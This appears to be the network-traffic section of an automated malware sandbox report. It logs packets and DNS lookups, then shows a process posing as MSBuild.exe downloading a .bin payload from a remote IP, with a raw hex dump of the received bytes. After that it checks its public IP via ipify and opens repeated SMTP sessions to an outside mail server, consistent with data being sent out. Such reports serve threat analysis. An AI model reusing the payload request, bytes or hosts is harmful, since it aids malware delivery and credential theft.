Jan 24, 2024 09:02:39.396456003 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396473885 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396495104 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396555901 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396567106 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396576881 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396594048 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396604061 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396605015 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396610975 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396624088 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396624088 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396635056 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396652937 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396655083 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396663904 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396667957 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396678925 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396680117 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396691084 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396703959 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396704912 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396711111 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396716118 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396727085 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396739006 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396739006 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396750927 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396754026 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396760941 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396771908 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396771908 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396784067 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396784067 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396795988 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396806955 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396807909 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396816969 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396821976 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396828890 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396842003 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:02:39.396846056 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396869898 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.396879911 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:02:39.830533028 CET	49709	443	192.168.2.8	104.237.62.211
Jan 24, 2024 09:02:39.830568075 CET	443	49709	104.237.62.211	192.168.2.8
Jan 24, 2024 09:02:39.830634117 CET	49709	443	192.168.2.8	104.237.62.211
Jan 24, 2024 09:02:39.839170933 CET	49709	443	192.168.2.8	104.237.62.211
Jan 24, 2024 09:02:39.839184999 CET	443	49709	104.237.62.211	192.168.2.8
Jan 24, 2024 09:02:40.340959072 CET	443	49709	104.237.62.211	192.168.2.8
Jan 24, 2024 09:02:40.341053009 CET	49709	443	192.168.2.8	104.237.62.211
Jan 24, 2024 09:02:40.343456984 CET	49709	443	192.168.2.8	104.237.62.211
Jan 24, 2024 09:02:40.343476057 CET	443	49709	104.237.62.211	192.168.2.8
Jan 24, 2024 09:02:40.343883038 CET	443	49709	104.237.62.211	192.168.2.8
Jan 24, 2024 09:02:40.421967030 CET	49709	443	192.168.2.8	104.237.62.211
Jan 24, 2024 09:02:40.469902992 CET	443	49709	104.237.62.211	192.168.2.8
Jan 24, 2024 09:02:40.665656090 CET	443	49709	104.237.62.211	192.168.2.8
Jan 24, 2024 09:02:40.665730953 CET	443	49709	104.237.62.211	192.168.2.8
Jan 24, 2024 09:02:40.666084051 CET	49709	443	192.168.2.8	104.237.62.211
Jan 24, 2024 09:02:40.669413090 CET	49709	443	192.168.2.8	104.237.62.211
Jan 24, 2024 09:02:41.272687912 CET	49710	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:41.376209021 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:41.376291037 CET	49710	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:41.778280020 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:41.778526068 CET	49710	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:41.882533073 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:41.882740974 CET	49710	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:41.987493992 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:41.989528894 CET	49710	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:42.108341932 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:42.108464003 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:42.108504057 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:42.108549118 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:42.108591080 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:42.108655930 CET	49710	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:42.142764091 CET	49710	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:42.246912956 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:42.253002882 CET	49710	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:42.357495070 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:42.357932091 CET	49710	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:42.462764025 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:42.465533972 CET	49710	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:42.609932899 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:42.691720963 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:42.695971012 CET	49710	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:42.799221039 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:42.799575090 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:42.799902916 CET	49710	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:42.944058895 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:42.954118013 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:42.954541922 CET	49710	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:43.058346033 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:43.058465958 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:43.059195042 CET	49710	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:43.059195042 CET	49710	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:43.059268951 CET	49710	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:43.059268951 CET	49710	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:43.162655115 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:43.163671017 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:43.210230112 CET	49710	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:43.313704967 CET	587	49710	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:43.314203978 CET	49710	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:43.315341949 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:43.418538094 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:43.418627977 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:43.975681067 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:43.975857019 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:44.079713106 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:44.079909086 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:44.184500933 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:44.184878111 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:44.303756952 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:44.303792000 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:44.303805113 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:44.303817987 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:44.303831100 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:44.303843975 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:44.303874016 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:44.305880070 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:44.410326958 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:44.413264990 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:44.517379999 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:44.519120932 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:44.625838995 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:44.626211882 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:44.732902050 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:44.733201981 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:44.836882114 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:44.837115049 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:44.975397110 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:44.975608110 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:45.079330921 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:45.087014914 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:45.087014914 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:45.087049007 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:45.087071896 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:45.087116957 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:45.087155104 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:45.087198973 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:45.087233067 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:45.087261915 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:45.087290049 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:02:45.190313101 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:45.190337896 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:45.190368891 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:45.190758944 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:45.191349983 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:02:45.232558012 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:03:09.014065981 CET	49704	80	192.168.2.8	72.21.81.240
Jan 24, 2024 09:03:09.116992950 CET	80	49704	72.21.81.240	192.168.2.8
Jan 24, 2024 09:03:09.117172003 CET	49704	80	192.168.2.8	72.21.81.240
Jan 24, 2024 09:04:12.093750000 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:12.197213888 CET	587	49711	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:12.197663069 CET	49711	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:12.198769093 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:12.301790953 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:12.301877022 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:12.742486000 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:12.742635012 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:12.846515894 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:12.846812963 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:12.952048063 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:12.952495098 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:13.065694094 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:13.065747976 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:13.065785885 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:13.065815926 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:13.065860033 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:13.065931082 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:13.065946102 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:13.073196888 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:13.177299976 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:13.178500891 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:13.282418966 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:13.282630920 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:13.387057066 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:13.387403011 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:13.531976938 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:13.612850904 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:13.617685080 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:13.721173048 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:13.721465111 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:13.721723080 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:13.866820097 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:13.869822979 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:13.870102882 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:13.973743916 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:13.973771095 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:13.974059105 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:13.974102974 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:13.974163055 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:13.974221945 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:13.975385904 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:14.077594995 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:14.079003096 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:14.079181910 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:14.183053970 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:14.185168982 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:14.288762093 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:14.289555073 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:14.289712906 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:14.393306971 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:14.393338919 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:14.393644094 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:14.394695997 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:14.435631990 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:28.343238115 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:28.435950994 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:04:28.447159052 CET	587	49713	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:28.447609901 CET	49713	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:28.447927952 CET	49714	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:28.551246881 CET	587	49714	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:28.551413059 CET	49714	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:28.566867113 CET	80	49708	172.96.14.41	192.168.2.8
Jan 24, 2024 09:04:28.567020893 CET	49708	80	192.168.2.8	172.96.14.41
Jan 24, 2024 09:04:28.949542999 CET	587	49714	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:28.949778080 CET	49714	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:29.053508043 CET	587	49714	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:29.053719044 CET	49714	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:29.160430908 CET	587	49714	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:29.160953045 CET	49714	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:29.273588896 CET	587	49714	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:29.273674011 CET	587	49714	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:29.273715019 CET	587	49714	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:29.273724079 CET	49714	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:29.273750067 CET	587	49714	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:29.273791075 CET	587	49714	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:29.273799896 CET	49714	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:29.275734901 CET	49714	587	192.168.2.8	192.185.148.49
Jan 24, 2024 09:04:29.379846096 CET	587	49714	192.185.148.49	192.168.2.8
Jan 24, 2024 09:04:29.420010090 CET	49714	587	192.168.2.8	192.185.148.49

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 24, 2024 09:02:39.704502106 CET	49920	53	192.168.2.8	1.1.1.1
Jan 24, 2024 09:02:39.823796034 CET	53	49920	1.1.1.1	192.168.2.8
Jan 24, 2024 09:02:41.124038935 CET	57462	53	192.168.2.8	1.1.1.1
Jan 24, 2024 09:02:41.271666050 CET	53	57462	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 24, 2024 09:02:39.704502106 CET	192.168.2.8	1.1.1.1	0xba24	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Jan 24, 2024 09:02:41.124038935 CET	192.168.2.8	1.1.1.1	0xbe61	Standard query (0)	mail.qualityaf.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 24, 2024 09:02:36.884737968 CET	1.1.1.1	192.168.2.8	0x9db9	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 24, 2024 09:02:36.884737968 CET	1.1.1.1	192.168.2.8	0x9db9	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Jan 24, 2024 09:02:39.823796034 CET	1.1.1.1	192.168.2.8	0xba24	No error (0)	api.ipify.org	api4.ipify.org		CNAME (Canonical name)	IN (0x0001)	false
Jan 24, 2024 09:02:39.823796034 CET	1.1.1.1	192.168.2.8	0xba24	No error (0)	api4.ipify.org		104.237.62.211	A (IP address)	IN (0x0001)	false
Jan 24, 2024 09:02:39.823796034 CET	1.1.1.1	192.168.2.8	0xba24	No error (0)	api4.ipify.org		173.231.16.75	A (IP address)	IN (0x0001)	false
Jan 24, 2024 09:02:39.823796034 CET	1.1.1.1	192.168.2.8	0xba24	No error (0)	api4.ipify.org		64.185.227.156	A (IP address)	IN (0x0001)	false
Jan 24, 2024 09:02:41.271666050 CET	1.1.1.1	192.168.2.8	0xbe61	No error (0)	mail.qualityaf.com		192.185.148.49	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

172.96.14.41

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49708	172.96.14.41	80	7348	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Jan 24, 2024 09:02:38.605853081 CET	171	OUT	GET /mfMeuTZ127.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: 172.96.14.41 Cache-Control: no-cache
Jan 24, 2024 09:02:38.736567974 CET	1286	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Wed, 24 Jan 2024 04:36:58 GMT Accept-Ranges: bytes ETag: "4fb7b6f77e4eda1:0" Server: Microsoft-IIS/8.5 Date: Wed, 24 Jan 2024 08:02:41 GMT Content-Length: 247872 Data Raw: f9 34 6f b9 56 08 bf 54 2e 9a 41 ab 44 29 49 a7 d7 05 78 cd 79 30 78 d2 01 a7 fd 2d 8f ee ef a6 61 b4 3a cf f7 f3 67 ec 4d d5 6a fa 05 44 96 57 67 2e 0b 2c 92 21 13 7b 4a a4 64 9e d3 0a 1b 0c 6f 84 70 94 67 21 0e 5c 40 0a cc d5 9a e4 b3 1d f1 64 91 03 46 42 44 cb 26 b8 5c f4 7f 82 24 b0 f2 11 88 07 92 3a 63 bb ba 17 0d 62 04 87 00 99 e5 f9 14 f4 90 80 b3 9b cf f5 dd a9 c8 5b 80 e9 2c 97 a4 09 ba de c5 75 82 47 98 d2 b8 33 1d 53 c7 5d e5 1b 0c e9 b0 10 88 9d 78 46 49 f7 cb 6a 62 12 f3 89 93 c6 60 97 0a ac 8d a2 a0 38 94 f1 c2 56 5e 77 1f 3a 18 04 f0 33 bb 4d 14 7c d3 a4 32 9c e9 46 c3 6e b6 73 a5 29 43 08 e5 7d db 9a 06 f6 46 64 87 bd 2e 14 90 fc d5 ae 04 23 0b d8 17 85 89 8b 22 0c 69 9f f9 01 79 e9 27 10 51 53 12 ce 5a db 80 48 31 31 45 07 4c bd b7 a4 62 db 04 cf 04 ec 68 d9 99 e9 3f 20 3e 76 df 25 7d 6d 25 12 76 66 a3 83 3c ef 38 76 cb 31 a0 de 87 4c fa 9e 9b 1c be 0f 46 7a 07 4e b9 b9 ea 09 dd 2e c6 b4 4d 0d c7 2e d3 a8 c3 ba f9 af 35 bb 3d fe 9d c7 30 7b 2c ff fc 7c 0c 2e 14 1a 97 d7 7e ca 3e c4 9e 1c 28 c9 f8 9c c5 13 8b 84 25 13 0d 89 20 a6 01 fb bf e7 11 d3 4e 29 13 78 ce 42 03 c9 f6 b7 05 eb 08 0c 15 23 31 d7 df 4e b1 46 3a 91 2d 64 36 44 e2 e4 af 3d 53 a7 b3 8c e0 f7 e4 91 39 f4 93 98 70 98 f5 53 9f 68 b2 e4 e0 30 45 1d 88 c5 43 f1 02 8a c6 a9 9c e9 28 92 a1 a3 ee d1 89 5c 59 ee 4a 0f d6 30 1c 57 40 c0 2f 4d d1 ad c5 b5 eb 2c 50 7f 02 7d 9c 60 fd 29 ea c4 20 d8 8e 00 81 b5 6a df ce b4 a5 38 3c e3 03 17 1d 37 7c 46 4c 4d df 4b 29 be 98 38 a3 2b 80 8e 93 48 d0 02 e5 70 0e 1c 72 3e f1 df f4 43 d1 ef 59 b8 31 6c 9c 8b fb 28 71 ab 02 ab b2 78 f3 3c dc e2 fe d9 61 8d 37 d8 39 4b 69 ab 1d 7a 70 b0 92 a7 d6 06 15 05 85 27 00 a0 49 1c 9c 5f 92 e1 02 61 78 be c2 0f 61 bf 3b 12 a7 82 e3 c7 f9 ac ca 1d ef b2 9d ce 0a 29 62 25 92 86 1d d6 3f 77 72 1e cb 51 af a6 2c d1 fe ed 32 ad 45 b4 db e4 2d b2 2d a3 38 b9 8e 90 95 39 70 3f de 00 01 f4 ee a1 12 2a d2 0b 86 8a 57 33 a8 b3 43 9e 27 d3 c0 d7 81 f7 2b 12 b3 0a d8 b8 f6 ec d4 94 b0 9a d0 12 3f e1 40 a4 a0 a5 1b 4f 00 d5 86 56 eb bd 26 32 88 e1 e4 3a fb 73 0a ff 09 7b 4c 45 d3 80 ce 4c d6 55 44 1d 5a e6 46 22 c2 63 f4 5f b3 7d 7f 2d d9 2d 6e d3 fc e1 d5 37 ed 92 4f 8c 31 bb 31 ee 66 64 11 45 ad d4 97 c4 a8 30 82 1c b9 b3 cc ea e8 43 3e 10 a4 49 c8 0f 8f 1b 07 bb e5 5c 5f 89 90 a2 44 e1 66 66 06 fd 29 1c 14 f6 42 7d b7 20 13 1f 69 9b db ea 75 8e c1 9f e6 e0 45 69 c5 01 c6 94 b8 14 d3 f0 3a e7 d3 cc a2 09 8d 78 5e e1 d4 a2 7a b7 aa eb 40 10 34 2a 0b 88 6a 7f 61 4f 2e 3c 4e 20 58 c7 9f f7 6c db 7f 53 2c 7f 54 6a 26 0e c8 54 fc eb 14 f7 c7 fd c6 ba 6b 2a 0e fe 9d 0d 15 86 7f 7a 91 a6 44 b4 4f 9e 52 09 56 25 5c 50 98 4d 23 e3 54 93 e2 23 05 f2 c6 83 d8 bc 90 bd 4c 03 2f 6f b8 32 46 43 00 35 7a d1 ad ff b3 e9 c9 12 9c ee 98 1c 1b 43 9c 91 bb c0 b1 10 27 16 50 f7 9b cc c8 9a fa 3d 93 9e ca ec 2c 8a 2f 30 f3 e8 80 9a ac 77 f2 73 3e 92 1e ac 04 2b 2b 7b 74 e6 8a 6d f8 bb 5b e8 76 1a 8a dd 58 8f 7b f7 84 fb 10 8c 63 e9 7a a5 59 24 46 4e 3a f9 62 2e ce ff 66 35 e0 8f 63 a7 b9 a1 19 a8 d1 dd 27 87 d7 7e 45 e6 0a 0c 9a 4b ee fb ea 12 25 f6 63 9d 76 e8 d2 16 d1 5e 2a f1 c9 83 2a f2 18 1d 00 f5 af 6f a9 ca 5c 1b d5 0e 9f ac e1 dc 99 49 40 2f da ad Data Ascii: 4oVT.AD)Ixy0x-a:gMjDWg.,!{Jdopg!\@dFBD&\$:cb[,uG3S]xFIjb`8V^w:3M\|2Fns)C}Fd.#"iy'QSZH11ELbh? >v%}m%vf<8v1LFzN.M.5=0{,\|.~>(% N)xB#1NF:-d6D=S9pSh0EC(\YJ0W@/M,P}`) j8<7\|FLMK)8+Hpr>CY1l(qx<a79Kizp'I_axa;)b%?wrQ,2E--89p?W3C'+?@OV&2:s{LELUDZF"c_}--n7O11fdE0C>I\_Dff)B} iuEi:x^z@4jaO.<N XlS,Tj&TkzDORV%\PM#T#L/o2FC5zC'P=,/0ws>++{tm[vX{czY$FN:b.f5c'~EK%cv^*o\I@/
